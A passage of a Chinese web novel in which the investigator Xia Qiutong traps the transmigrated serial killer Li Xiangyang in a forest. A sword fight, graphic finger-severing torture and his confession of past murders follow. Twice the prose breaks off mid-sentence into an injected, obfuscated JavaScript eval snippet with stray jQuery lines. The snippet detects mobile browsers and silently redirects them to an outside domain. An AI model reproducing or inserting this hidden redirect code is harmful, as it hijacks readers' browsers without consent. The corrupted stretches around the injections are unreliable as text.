但夏秋桐与这把剑之间却是割裂的,格格不入的,就像不交融的水与油,完全没有别的提刑官那种人与禁物浑为一体的感觉。
夏秋桐用沧月扎在地上稳住被震退的身形,没有反驳,因为她知道李向阳说得是对的。
沧月确实是一把好剑,削铁如泥还会释放寒气,可以在一瞬间凝结出寒冰,但却也仅此而已。作为一件编号为007的特级禁物,它展示出来的力量远没有它的头衔来得强大。但夏秋桐目前无法推断出有效的改良方案。
不过这并不妨碍她再次冲锋,她真气不足内力远不如修习多年还有系统辅助的李向阳丰厚,所以先前必须用特殊的剑技才能破甲。但沧月的特性让她可以忽略掉这之间的差距,寒城重刃之下,何人不避锋芒?!
于是李向阳当机立断,游步别开身子,沧月的剑气打上墙壁,他紧接着鼓足内攻顺力一顶,直接破墙飞到屋外。
但刚脚踏实地后李向阳就呆住了,就见那屋外细雨绵绵林影幢幢,哪还是胡记面馆所在的那条城山小道?
“难怪,难怪我那些穿越节点全都集在那么远的地方,你居然直接将胡记面馆搬来了这里。”李向阳意识到了什么,忽然开始大笑起来,“精彩,精彩,太精彩了,难怪祂会对你有所指目。”
“本来我想再瞒一会的,这样到最后你才会更绝望。”夏秋桐一扬长剑,细雨滚上寒白的沧月瞬间化作一颗颗微小滚落的冰珠,“这里是泉合林,是你曾经的杀场,也将是你今夜的葬身之所。”
31.血染泉合
大燕明德历二十年九月十七日,年仅6岁的欧若雅顺着绣春堂暗室的密道来到了泉合林,在这里,她亲眼目睹了母亲被人用利剑砍下了头颅。
十一年后,李向阳也在同样的时间来到了这里。区别在于,这一次他才是猎物。
为了将欧若雅这个特别的受害者作为自己杀戮生涯的里程碑,李向阳特地支付了珍贵的杀戮积分,调整了任务杀人的顺序,将本该作为第一个死者的欧若雅延后,还特地很有仪式感的选择了同样的九月十七日作为定妆时间。
现在,这个由他亲手设计的巧合让他不寒而栗,恐惧到只能用突兀的笑声来掩饰。
不对,哪怕自己真的全程都被蒙在鼓里,一步一步踏着预设好的陷阱,来到了泉合林。
那又怎么样?
李向阳默默咽了口唾沫,试着让声音听起来不是那么的干瘪发虚:“你其实没有将真正的计划告诉那个男人吧,看来你也不是很信任他。”
“你用不着拐弯抹角的试探,我可以大大方方的告诉你。是,我没有将计划告诉沈狸双,他现在应该还在赶过来的路上。”仿佛是为了印证夏秋桐说的话一般,她怀里的晶脑开始发烫震动起来,却被她一键关机,“你可以将他拖入幻觉,所以我不能将真相告诉他,避免他的记忆被你再次翻阅。”
还好,那个强大到让他甚至难以萌生战意的男人尚不在这里。
李向阳暗自松了口气。看来这个夏秋桐并没有像他想象的那么的无所不知,因为他的能力对记忆的抓取是随机的,并不是对记忆的全面浏览。
但对方的这个误解和她鲁莽的自信将成为她最大的败笔。将他引导到了这里又如何?她与本命禁物的融合度不佳,自身实力也远不如自己。他也早就在几次交锋中看出来了,她那剑法偏锋到极致,乍一看确实非常唬人,唬人到甚至如果不依靠系统自带的危险预知,他百分之百会被这出其不意的一剑斩杀。
但只要躲开最亮眼的第一剑,她就后继无力了。
而且这里是户外,对于他这种拥有空间跳跃能力的人来说进可攻退可守,是再合适不过的战场。
李向阳呼吸隐隐急促了起来,他忽然产生了一种强烈的欲望。
他想杀了夏秋桐。
谋杀者系统的规矩很古怪,它不允许穿越者随意杀人,穿越者们杀也只能杀自己任务里的人吗,否则就会受到惩罚。
这也就意味着,虽然夏秋桐这个名字早已经因为上一个穿越者的失败而被丢进公共任务池里,但只要接手这个任务的穿越者不是他李向阳,那么他就没有办法对夏秋桐出手。
可早在前天,这个任务就已经被某个穿越者以绝对的优先权接取了。所以李向阳现在也无法来一手先斩后奏的马后炮。
但没关系,即便会受到惩罚也好,付出足够的杀戮积分就好了。什么?一杀戮积分等于一万美元?还可以换取额外的奖励?购买道具和能力?
那又怎样那又怎样那又怎样那又怎样?!
能力如何,都是为了杀人罢了。钱……他已经不想再回去了,已经不需要再回去确认了。那些他以为会悔改的人,那些他以为会为了他的离开感到悲伤和后悔的人,那些将痰水和粪便抹在他墓碑上的人,那些在告别会上笑着说他“早就该死了”的人。
他都杀了!他都杀光了啊!!!
李向阳想到那些人的面容,多绝望啊,多美妙啊,那些肆意妄为左右着他人生的渣滓们,被他亲手用刀剥下不可一世的脸皮,恐惧痛苦的就像是只蚂蚁。
他想在夏秋桐的脸上看到一样的表情。
李向阳将短剑丢在地上,只握着长剑缓缓地直起身子。他的气势在起身的瞬间发生了变化,不再像是一只受了惊的孤狼,而是一只苏醒的狮子。
夏秋桐默默皱了下眉头。
很棘手。
“你是什么时候发现问题的?”但李向阳似乎不着急开打,而是轻声问。
“一开始。”夏秋桐坦然道,“从我看到那封预告函的第一眼,声波打上函件回弹的速度是不一致的,发现了空间的漏隙。”
“那难得你愿意演这么久的戏。”
“也不全是演戏。从信件上能获取的条件非常有限,我需要再多一些与你的接触,才能够最终确认你的能力。感谢你的胆大妄为,这对于我的推理很有必要。”夏秋桐不无嘲讽道。
“所以你那天晚上,其实注意到了我抹在门板上的血液吗?”李向阳有些不甘道。其实一开始他选择提前在那个房间留下点位时心里是很忐忑的,因为他觉得夏秋桐的感觉实在太敏锐了,甚至他为了掩人耳目将血液化进味道较大的墨水里都没能逃过她的鼻子,简直强如警犬。
于是那晚他选择将血液稀释进大量的水中,然后擦拭在门板上。这样处理后的血液含量少到可以忽略不计,只能让他撕裂出非常小的一枚虫洞,勉强能塞入一只眼睛。
所以在夏秋桐得出所谓的延迟幻象的错误猜测后,他甚至还默默自得了一阵,觉得还得是自己准备得万全。
可现在,这一切都变成了笑话,就像一个响亮的耳光般打在他的脸上。
“注意到了是一回事,但我之所以注意到了却还是要将那个通道留下来,还是想亲眼看一看到底是什么情况。”夏秋桐道,“你给空间裂缝设置的位置很巧妙,刚好与坐着的欧若雅平齐,且藏在光打不到的阴影之下,常人很难注意到那只藏在洞口深处,昙花一现闪过的眼睛。”
“但是我不一样,你在凝视着欧若雅的时候,我也在凝视着你。你在给别人编织幻境,但其实你也在我构建的谎言之中。”
“这才是现实。”
【妄想剧本《虚构的现实》,已删除】
李向阳怒吼一声,足弓发力虎跳而前,长剑薄薄一线划开雨幕,他滚上剑身的真气沸腾如火,顷刻间将落上剑锋的雨水燎蒸起雾气。
谋杀者系统可用积分兑换的奖励有很多,其中就包括速成的武学境界。但这种依靠系统外力填鸭式速成的武功基本根植于穿越者心中的暴戾之气,普遍呈现出阳燥之属,且远不如那些扎扎实实以自身力量修习的同境界武者。
但对付依靠沧月寒性才能作战,自身内力水平趋近凡人的夏秋桐来说,这已经足够用了。
夏秋桐的反应速度极快,撤步的同时沧月也已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799160|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
横身与李向阳的长剑交错,寒霜绞上剑锋却瞬间被炽热的灼舌消融,但夏秋桐也借着这股力荡远。
“怎么逃了?”李向阳狞笑着欺近,“谋算了这么久,不惜欺骗自己的同伴将我领到这里,现在却开始退缩了吗?”
夏秋桐没有回应他的挑衅,而是眸光一沉。
【御剑师,已启动】
那股熟悉的,浑身充满力量的感觉再次涌来。夏秋桐迎着掠近的李向阳猝然翻剑出手,沧月紧随着刺出一道锋利的冰凌。
李向阳对剑将寒冰砍得粉碎,握剑的腕骨一翻就要斜迎着沧月的剑锋切上夏秋桐暴露的咽喉。
但这时,他的脖颈处突然泛上一缕乍寒,谋杀者系统的危险预知系统发出尖啸。于是他果断转攻为守,剑锋流水般贴着雪白的沧月将它抵住。可夏秋桐的反应更快,她凌空脱手,卸去李向阳抵剑的抗力,同时切身而近,另一只手回握沧月,直接朝着李向阳的脖子砍去!
沧月发出清鸣,打出一大片锋利的冰轨,但这些裹挟着寒冰的剑气却扑了个空。几乎同时,李向阳出现了在了五步之外,他心有余悸得摸着脖子,右掌心鲜血淋漓,被划出一道刀伤。
就在刚才,在发觉夏秋桐那凌厉的一剑难以回避后,李向阳做了两手准备,其一是撤剑回防挡下沧月。其二就是用藏在袖口的暗匕划破手心,用弹洒出去的鲜血瞬间撕开虫洞逃跑。
后者本是李向阳准备的保命手段之一,怎料夏秋桐这突然变锋的一切逼得他直接将这张底牌打了出来。
但好在她最致命的,也仅有这一剑。
李向阳的武学境界基本上来自于系统,所以他在武学修炼上基本上称得上一介白丁。但他在这个世界摸爬滚打了整整十一年,交手过的江湖中人不计其数,熬也已经熬出了一双见识深广别断老辣的眼睛。
所以他仅凭方才一剑就轻易看穿了夏秋桐后续要出的剑招,无非是曲手点他手腕,再滑剑直上心口。
不论招式衔接是否流畅合适,也不论自身的防卫是否完善妥当,只一味地冲前,招招只锁要害。就像只愿意掐柳枝最嫩的芽尖一般,太急功近利,也就变得太容易预测。
果然,夏秋桐紧接着一步就是用轻功欺身,随后调转剑锋去刺李向阳持剑的手腕。但早有准备的李向阳只是将小臂一垂,就精准得卡出距离,再然后将莽足了真气的长剑打在沧月剑尾靠近握把的位置,用一瞬间爆发的气劲传震上夏秋桐虎口,逼迫她将剑离手。
而第三剑,被迫让剑脱手的夏秋桐果然想要趁剑未落地之时用脚将剑踢回手中。但李向阳的速度比她更快,他直接挥剑切着沧月剑身划开一道银色的半满月弧,逼夏秋桐不敢抬腿的同时将沧月扫飞到一边。
同时他左手滑出一把匕首朝前一探,虚空中凌然裂出一个黝黑的虫洞,而在夏秋桐的背后,一只握着匕首的左手对着她的后腰就要落去!
情急之下,夏秋桐只能一个滑跪让整个身体弯折着贴近地面,躲过这前后包夹之势。但还没等夏秋桐起身,李向阳的就猛地一脚踩住她的小腹,同时双手举剑,像是骑士插下象征胜利的丰碑一般,将锋利的长剑狠狠贯入夏秋桐的胸膛!
32.交错绝望
夏秋桐呕出一大口血,露出难以置信的表情。而与之相对的,李向阳嘴角一弯,笑得得意猖狂。
看吧,是陷阱又如何?始作俑者还不被他踏在脚下?!于困境中翻定胜局,这不就是像他这样的主角应该做的事情吗?!
李向阳底下头来,欣赏着夏秋桐满是不甘与痛苦的脸,盯着她逐渐涣散的浅棕色瞳孔,贪婪着呼吸空气里浓郁的血腥味,感觉四肢百骸泛上触电一般酥麻的快感……这一切真是太美妙了。
“我以为你能给我带来一些不一样的东西。”他轻笑道,“可惜,你与那些人一样的蠢。”
“你也是这样杀死他们的吗?”
“差不多。但他们可比你听话不少。”像是夺冠后被递上了采访的话筒,处决完夏秋桐的李向阳明显松快了不少,忍不住夸耀道,“他们与你们不同,能够受到我能力的影响。我只需要在他们入幻正酣时配合幻象给他们来一刀就好,甚至都不用动第二刀。”
他似乎陷入回忆,露出恶心的笑容,“比如那个叫作伏春桃的舞姬,不过就是一个泞在脏院里下贱的胚子,却总是奢望什么白头偕老一世一双人。其实她又何尝不知道那个狗男人有问题呢?她又何尝不知道那句所谓的会替她赎身是一句永远无法兑现的谎言呢?可她太蠢了,蠢到可怜,所以才会轻易走入我编织幻梦。在虚假的十里红妆夫妻对拜里丢了性命。”
“那个叫王勉的就更蠢了。居然会为了一次失误愧疚到滋生出心魔。明明都是那么久之前的事了。伏春桃识不清现实与幻境,错把那虚妄当真实。可他却不同,他从一开始就发现那个与他搭话的男孩不对劲,因为我特意给幻像用了与他害死的那个孩子一样的长相。”
在那条人影幢幢灯火通明的街道,在李向阳混入队伍与王勉对视的十秒后,笑脸盈盈的男孩出现在了王勉的眼前。
“如果这样能够清赎我的罪孽的话,请小友动手罢。”
李向阳模仿起那晚王勉的语气,笑得乐不可支。
“他以为是那个孩子游荡多年的冤魂来讨要公道,于是心安理得的赴死,我也是第一次发现,原来对有些人来说,解脱也是一种幸福。”
他笑着笑着,神请忽然一厉,握着剑柄的手朝深处压了半寸,“所以你为什么要阻止我给欧若雅带去幸福?你们提刑官不是最喜欢自诩正义,掰扯着所谓守护世间公道的那可悲的一套?那为什么要阻止我?!你看不出来欧若雅有多么痛苦吗?我可是在帮她啊,帮她寻求解脱啊。”
李向阳又笑了,看着夏秋桐疼得浑身冷汗的狼狈模样,心情大好,“我特地避开了心脏的位置,所以你一时半会死不了,可以被我折磨得更久一点。”李向阳忽然一脚踩住夏秋桐紧攥到发白的右手,像踩死一只蚂蚁般来回碾动坚硬的鞋跟,夏秋桐疼的青筋暴起脸色惨白,却硬是哽着口血水一声不吭。
“告诉我欧若雅在哪里,我可以给你一个痛快。”
定妆时间早就已过,即便李向阳现在杀了欧若雅这个任务也依然会被谋杀者系统宣判失败。
但是既然事情都已经发展到了这一步,那么什么任务不任务的就太不重要了。重要的是欧若雅的名字还未被释放进公共任务池,所以李向阳目前依然拥有杀掉她的权利。
而今天九月十七号,他特地花了大价钱修改任务,选了个这么刚好的日子。
可不能浪费了。
“我现在开始倒计时了哦,每倒数一声我就会剁掉你的一根手指……你以为数到零就会让你解脱嘛?不会哦,我会重新开始数,从你那张能说会道的小嘴开始,然后是眼睛、鼻子、耳朵……直到你告诉我你把欧若雅藏在了哪里。”李向阳一手握剑,另一只手摸出一块锋利的刀片,示意性地压上夏秋桐被踩住的右手尾指。
“十。”
他落下第一刀,干脆得像斩掉一根脆圆的萝卜。
夏秋桐脸色骤然一变,发出凄厉的惨叫。
李向阳眯起眼睛,神情享受。
他刚刚说了谎。因为他根本就不想轻易的放过夏秋桐。
就是这个女人自以为是的设计将他的计划打得一盘遭,让他精心设计好的舞台狼藉一片。他怎么可能愿意给她一个痛快?那不是太便宜她了吗?
他要发泄,要毁灭,要释放自己心底难以抑制宛若山火般翻腾着的,对杀戮的渴望。
“九。”
李向阳紧挨着下刀,剁下夏秋桐的无名指。他落刀的手极其平稳,斩出的断面也光滑整齐,没有过多渗血。
夏秋桐的头痛苦地扬起,面容扭曲,她大骂起来:“魔鬼,你这个恶魔!!你逃不掉的……那些被你杀害的人不会放过你!他们的冤魂会汇聚于此,会永远盯着你!”
“笑话!他们生时尚且是我一个一个葬送的性命,死后烂魂一条我亦有何可惧?”
“不,你害怕着这个地方,害怕着一个人。”夏秋桐惨笑一声。
“你以为我为什么要选择泉合林?”
李向阳一下子愣住了,不自觉地回想起安怀心那直追他后心的雪亮一刀。
是啊。为什么?
他知道自己会出现在这里是夏秋桐的设计,对方大概率利用了他不敢亲自进入绣春堂,会直接用虫洞节点传送进暗道的心理,修改了他布置下的那些点位。
但为何会是这里?为何夏秋桐要诱导他前往的地方会是泉合林?
这显然不是为了方便交手,即便夏秋桐错误的预估了双方的实力差距,对自己的能力抱有不切实际的自信。但在已知他拥有空间跳跃能力的情况下,还选择宽阔的户外环境作为交手的战场就很没有道理了。
是想让他害怕?他目前在泉合林里杀害的只有安怀心,他也确实曾经惧怕过安怀心,但那也都是过去式。
“是欧若雅告诉你的吧,告诉了你她在幻境里看到了什么。”李向阳冷冷道,“没错,我是参与过两次任务的回归者。十一年前我执行过一次任务,杀掉的是欧若雅的母亲安怀心,地点也就在这泉合林。”
他眸光一沉似是回忆,“她是我唯一一个没有使用能力就达成条件的人。因为她根本就不吃我的能力,我给出的所有幻觉都会被她轻易破解,甚至到最后她还怀疑上了我的身份,险些杀了我。”
“我害怕她。”
“我的那个任务要求受害者处在绝望的情绪中,这对我来说本来是特别简单的事情,从那群人的心理阴影出发,构建一个虚拟的绝境。但是安怀心太无懈可击了,她的内核极其稳定,好像这天底下没有什么可以难得倒她,能让她恐惧绝望。而且她很聪明,被拉入几次之后她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823240|153180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经可以迅速地辨认出幻境和现实。不过也有可能是因为当时的我能力不足。”
李向阳顿了顿,突发奇想,如果是以他现在的水平,说不定能够编织出一个让安怀心都沉陷其中的幻像。不过这已经无从得证了。
“我找不到她的破绽,做不出能让她沦陷的幻觉,甚至险些在她手上丢了性命。所以我当时想过不然就放弃这个任务吧。但那个时候我突然想到了曾经的我自己……说来好笑,别看我现在这样,在穿越过来之前我每一天想的都是如何去死。”
李向阳嘴角抽搐了一下,似乎是想到了什么不太美妙的东西。
他顿了下接着说,“安怀心可供我读取的记忆不多,但这为数不多的记忆里欧若雅占了很大的比重。就如弥补失去就会幸福,那么失去拥有,就会绝望。但我发现这一点的时候已经太晚,晚到安怀心对于幻觉有了高度的警惕。”
李向阳眸光幽深。
“所以我想到,我可以利用真实的绝望。”
“我甚至不用多说什么,当她看到我怀里的欧若雅时直接跪了下来。我第一次见到她那个样子,卑微,狼狈,哪怕在幻觉里我将她绑上几百米的高塔她也没有发抖,但那个时候她抖得像是糠筛。”
“我向她坦白了一切…我这人就是有这么个毛病,在穿越过来前我经常在黑暗里跟自己对话。反正她就要死了,而且谋杀者系统也没有禁止我们向这个世界的人透露它的存在。”李向阳挑了一下眉,“我也答应了她最后的要求,放过了欧若雅,并洗掉了欧若雅的记忆,让她以为自己只是在密室里睡了一觉。”
李向阳说着突然轻笑了一声。
安怀心永远不会知道的是,他放过欧若雅只是因为他当时没有权限杀她罢了。不论安怀心是否愿意为女儿付出性命,他都不会对欧若雅动手。
而李向阳也没有想到,十一年后他会以这样的形式再次见到当年的那个小女孩。
“我杀安怀心的时候问过她。她后悔吗?后悔生了个这么不听话的女儿,后悔为了她还要付出自己的性命。我当时甚至骗她,我说如果她后悔了我可以放过她,我也不杀欧若雅。她不是整天教训欧若雅不练字只练刀一天到晚闯祸嘛,那我就废掉她的武学根骨就好。”
李向阳喃喃着。
“应该会后悔的吧…很难不后悔的吧。”
李向阳一时感觉有些精神恍惚。他情不自禁开始回想起,他的父母。如果还能称呼他们是父母的话。
他们是如何称呼他的呢?
赔钱货、下贱胚子、狗杂碎、没用的东西、白眼狼、去死吧真是后悔生了你……
所以他很难理解,真的很难理解啊!
“为什么,为什么那个安怀心,明明就快要死了却还能够用那么温柔的语气……要她活下去呢?”
夏秋桐突然露出一缕微笑。
李向阳余光瞥见她的神情,心里莫名一紧。
马上杀了她!
李向阳陡然生出这样的念头,押着剑的手一顿,就要往夏秋桐的心口送去。却见夏秋桐被踩住的右手猛然一折,居然硬生生扯断了一截手掌从李向阳的刀下割出!李向阳还未来得及避开,握剑的手就被夏秋桐鲜血淋漓的手掌猛然握住!
“欧若雅,动手!”她高喊道。